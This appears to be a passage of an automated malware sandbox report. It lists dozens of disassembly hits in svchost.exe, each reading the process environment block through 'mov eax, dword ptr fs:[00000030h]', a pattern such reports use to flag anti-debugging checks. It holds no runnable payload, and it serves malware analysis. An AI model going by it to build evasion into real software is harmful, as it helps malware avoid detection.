Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B2D3 mov eax, dword ptr fs:[00000030h]	2_2_03A2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B2D3 mov eax, dword ptr fs:[00000030h]	2_2_03A2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5F2D0 mov eax, dword ptr fs:[00000030h]	2_2_03A5F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5F2D0 mov eax, dword ptr fs:[00000030h]	2_2_03A5F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B05227 mov eax, dword ptr fs:[00000030h]	2_2_03B05227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2823B mov eax, dword ptr fs:[00000030h]	2_2_03A2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A67208 mov eax, dword ptr fs:[00000030h]	2_2_03A67208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A67208 mov eax, dword ptr fs:[00000030h]	2_2_03A67208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]	2_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]	2_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]	2_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFD26B mov eax, dword ptr fs:[00000030h]	2_2_03AFD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFD26B mov eax, dword ptr fs:[00000030h]	2_2_03AFD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2826B mov eax, dword ptr fs:[00000030h]	2_2_03A2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A59274 mov eax, dword ptr fs:[00000030h]	2_2_03A59274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A71270 mov eax, dword ptr fs:[00000030h]	2_2_03A71270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A71270 mov eax, dword ptr fs:[00000030h]	2_2_03A71270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29240 mov eax, dword ptr fs:[00000030h]	2_2_03A29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29240 mov eax, dword ptr fs:[00000030h]	2_2_03A29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6724D mov eax, dword ptr fs:[00000030h]	2_2_03A6724D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A250 mov eax, dword ptr fs:[00000030h]	2_2_03A2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEB256 mov eax, dword ptr fs:[00000030h]	2_2_03AEB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEB256 mov eax, dword ptr fs:[00000030h]	2_2_03AEB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36259 mov eax, dword ptr fs:[00000030h]	2_2_03A36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE11A4 mov eax, dword ptr fs:[00000030h]	2_2_03AE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE11A4 mov eax, dword ptr fs:[00000030h]	2_2_03AE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE11A4 mov eax, dword ptr fs:[00000030h]	2_2_03AE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE11A4 mov eax, dword ptr fs:[00000030h]	2_2_03AE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4B1B0 mov eax, dword ptr fs:[00000030h]	2_2_03A4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A70185 mov eax, dword ptr fs:[00000030h]	2_2_03A70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]	2_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]	2_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]	2_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]	2_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]	2_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]	2_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A87190 mov eax, dword ptr fs:[00000030h]	2_2_03A87190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A551EF mov eax, dword ptr fs:[00000030h]	2_2_03A551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A351ED mov eax, dword ptr fs:[00000030h]	2_2_03A351ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B061E5 mov eax, dword ptr fs:[00000030h]	2_2_03B061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A601F8 mov eax, dword ptr fs:[00000030h]	2_2_03A601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]	2_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]	2_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6D1D0 mov eax, dword ptr fs:[00000030h]	2_2_03A6D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6D1D0 mov ecx, dword ptr fs:[00000030h]	2_2_03A6D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B051CB mov eax, dword ptr fs:[00000030h]	2_2_03B051CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A60124 mov eax, dword ptr fs:[00000030h]	2_2_03A60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A31131 mov eax, dword ptr fs:[00000030h]	2_2_03A31131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A31131 mov eax, dword ptr fs:[00000030h]	2_2_03A31131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B136 mov eax, dword ptr fs:[00000030h]	2_2_03A2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B136 mov eax, dword ptr fs:[00000030h]	2_2_03A2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B136 mov eax, dword ptr fs:[00000030h]	2_2_03A2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B136 mov eax, dword ptr fs:[00000030h]	2_2_03A2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov ecx, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF0115 mov eax, dword ptr fs:[00000030h]	2_2_03AF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172 mov eax, dword ptr fs:[00000030h]	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC9179 mov eax, dword ptr fs:[00000030h]	2_2_03AC9179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B05152 mov eax, dword ptr fs:[00000030h]	2_2_03B05152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov ecx, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]	2_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29148 mov eax, dword ptr fs:[00000030h]	2_2_03A29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29148 mov eax, dword ptr fs:[00000030h]	2_2_03A29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29148 mov eax, dword ptr fs:[00000030h]	2_2_03A29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29148 mov eax, dword ptr fs:[00000030h]	2_2_03A29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A37152 mov eax, dword ptr fs:[00000030h]	2_2_03A37152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C156 mov eax, dword ptr fs:[00000030h]	2_2_03A2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]	2_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]	2_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF60B8 mov eax, dword ptr fs:[00000030h]	2_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF60B8 mov ecx, dword ptr fs:[00000030h]	2_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3208A mov eax, dword ptr fs:[00000030h]	2_2_03A3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D08D mov eax, dword ptr fs:[00000030h]	2_2_03A2D08D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A35096 mov eax, dword ptr fs:[00000030h]	2_2_03A35096
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5D090 mov eax, dword ptr fs:[00000030h]	2_2_03A5D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5D090 mov eax, dword ptr fs:[00000030h]	2_2_03A5D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6909C mov eax, dword ptr fs:[00000030h]	2_2_03A6909C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A550E4 mov eax, dword ptr fs:[00000030h]	2_2_03A550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A550E4 mov ecx, dword ptr fs:[00000030h]	2_2_03A550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_03A2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A380E9 mov eax, dword ptr fs:[00000030h]	2_2_03A380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C0F0 mov eax, dword ptr fs:[00000030h]	2_2_03A2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A720F0 mov ecx, dword ptr fs:[00000030h]	2_2_03A720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov ecx, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov ecx, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov ecx, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov ecx, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0 mov eax, dword ptr fs:[00000030h]	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B050D9 mov eax, dword ptr fs:[00000030h]	2_2_03B050D9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAD0C0 mov eax, dword ptr fs:[00000030h]	2_2_03AAD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAD0C0 mov eax, dword ptr fs:[00000030h]	2_2_03AAD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB20DE mov eax, dword ptr fs:[00000030h]	2_2_03AB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A590DB mov eax, dword ptr fs:[00000030h]	2_2_03A590DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A020 mov eax, dword ptr fs:[00000030h]	2_2_03A2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C020 mov eax, dword ptr fs:[00000030h]	2_2_03A2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF903E mov eax, dword ptr fs:[00000030h]	2_2_03AF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF903E mov eax, dword ptr fs:[00000030h]	2_2_03AF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF903E mov eax, dword ptr fs:[00000030h]	2_2_03AF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF903E mov eax, dword ptr fs:[00000030h]	2_2_03AF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]	2_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB106E mov eax, dword ptr fs:[00000030h]	2_2_03AB106E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B05060 mov eax, dword ptr fs:[00000030h]	2_2_03B05060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov ecx, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41070 mov eax, dword ptr fs:[00000030h]	2_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5C073 mov eax, dword ptr fs:[00000030h]	2_2_03A5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAD070 mov ecx, dword ptr fs:[00000030h]	2_2_03AAD070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A32050 mov eax, dword ptr fs:[00000030h]	2_2_03A32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD705E mov ebx, dword ptr fs:[00000030h]	2_2_03AD705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD705E mov eax, dword ptr fs:[00000030h]	2_2_03AD705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B052 mov eax, dword ptr fs:[00000030h]	2_2_03A5B052
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB97A9 mov eax, dword ptr fs:[00000030h]	2_2_03AB97A9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	2_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	2_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	2_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	2_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	2_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B037B6 mov eax, dword ptr fs:[00000030h]	2_2_03B037B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A307AF mov eax, dword ptr fs:[00000030h]	2_2_03A307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5D7B0 mov eax, dword ptr fs:[00000030h]	2_2_03A5D7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF78A mov eax, dword ptr fs:[00000030h]	2_2_03AEF78A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3D7E0 mov ecx, dword ptr fs:[00000030h]	2_2_03A3D7E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]	2_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]	2_2_03A527ED
